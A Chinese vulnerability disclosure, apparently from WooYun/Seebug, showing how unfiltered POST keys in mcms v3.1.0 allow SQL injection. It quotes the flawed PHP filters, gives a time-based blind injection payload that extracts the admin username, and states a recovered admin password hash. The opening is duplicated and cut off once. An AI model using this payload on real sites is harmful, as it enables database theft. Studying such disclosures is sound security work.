### 简要描述: mcms最新版SQL注入三枚打包(可出任意数据) ### 详细说明: 在wooyun上看到掌易科技终于不再忽略漏洞了,我也来凑凑热闹吧。去下了mcms的最新版(v_3.1.0.enterprise),来研究研究。 注入一枚:POST /app/message/?m=save_message post中有本个参数,虽然都经过了xss和sql的过滤,但是过滤的并不完全,我们看看是如何注入的。 看看代码/app/message/index.php ``` function m__save_message() { global $dbm,$C,$V; $_POST=H::sqlxss($_POST); $model_fields=array(); foreach($_POST as $k=>$v){ if (substr($k,0,9)=='extern___') { // 填充扩展表字段 $model_fields[substr($k,9)] = $v; } } //判断扩展模型表表单 $C->verify_model_form('message',$model_fields); $model_fields['create_time']=time(); $dbm->single_insert(TB_PRE.'message',$model_fields,1); die('{"code":0,"msg":"留言成功"}'); } ``` Post的内容经过了过滤,去看看sqlxss()是怎么实现的 ``` public static function sqlxss($input){ if(is_array($input)){ foreach($input as $k=>$v){ $input[$k]=H::sqlxss($v); } }else{ $input=H::escape($input,1); $input=htmlspecialchars($input,ENT_QUOTES); } return $input; } ``` 对用户输入的内容先用H::escape过滤,再用htmlspecialchars过滤,我们再去看看H::escape ``` public static function escape($input,...
### 简要描述: mcms最新版SQL注入三枚打包(可出任意数据) ### 详细说明: 在wooyun上看到掌易科技终于不再忽略漏洞了,我也来凑凑热闹吧。去下了mcms的最新版(v_3.1.0.enterprise),来研究研究。 注入一枚:POST /app/message/?m=save_message post中有本个参数,虽然都经过了xss和sql的过滤,但是过滤的并不完全,我们看看是如何注入的。 看看代码/app/message/index.php ``` function m__save_message() { global $dbm,$C,$V; $_POST=H::sqlxss($_POST); $model_fields=array(); foreach($_POST as $k=>$v){ if (substr($k,0,9)=='extern___') { // 填充扩展表字段 $model_fields[substr($k,9)] = $v; } } //判断扩展模型表表单 $C->verify_model_form('message',$model_fields); $model_fields['create_time']=time(); $dbm->single_insert(TB_PRE.'message',$model_fields,1); die('{"code":0,"msg":"留言成功"}'); } ``` Post的内容经过了过滤,去看看sqlxss()是怎么实现的 ``` public static function sqlxss($input){ if(is_array($input)){ foreach($input as $k=>$v){ $input[$k]=H::sqlxss($v); } }else{ $input=H::escape($input,1); $input=htmlspecialchars($input,ENT_QUOTES); } return $input; } ``` 对用户输入的内容先用H::escape过滤,再用htmlspecialchars过滤,我们再去看看H::escape ``` public static function escape($input, $urldecode = 0) { if(is_array($input)){ foreach($input as $k=>$v){ $input[$k]=H::escape($v,$urldecode); } }else{ $input=trim($input); if ($urldecode == 1) { $input=str_replace(array('+'),array('{addplus}'),$input); $input = urldecode($input); $input=str_replace(array('{addplus}'),array('+'),$input); } // PHP版本大于5.4.0,直接转义字符 if (strnatcasecmp(PHP_VERSION, '5.4.0') >= 0) { $input = addslashes($input); } else { // 魔法转义没开启,自动加反斜杠 if (!get_magic_quotes_gpc()) { $input = addslashes($input); } } } //防止最后一个反斜杠引起SQL错误如 'abc\' if(substr($input,-1,1)=='\\') $input=$input."'";//$input=substr($input,0,strlen($input)-1); return $input; } ``` 对用户的输入过滤的还是很彻底的,但是这里忽略了一点,那就是没有对KEY进行过滤,造成了注入。 Payload:POST提交 ``` extern___true_name`)values(''/**/or(select/**/if(ord(mid((select/**/login_name/**/from/**/mcms_user/**/limit/**/0,1),1,1))%3d108,sleep(1),0))or'')#=test&extern___phone=13511111111&extern___content=test ``` 因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,延迟2s左右,如下图 [<img src="https://images.seebug.org/upload/201502/102328524ad6404638f28f99682640679d9e7631.jpg" alt="猜测失败副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/102328524ad6404638f28f99682640679d9e7631.jpg) 若正确,延迟3s左右,如下图 [<img src="https://images.seebug.org/upload/201502/10232901187814b548f7c7e2c6b5be3feed41203.jpg" alt="猜测成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201502/10232901187814b548f7c7e2c6b5be3feed41203.jpg) 按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:mcmsadmin,密码为: f6fdffe48c908deb0f4c3bd36c032e72 ### 漏洞证明: 见 详细说明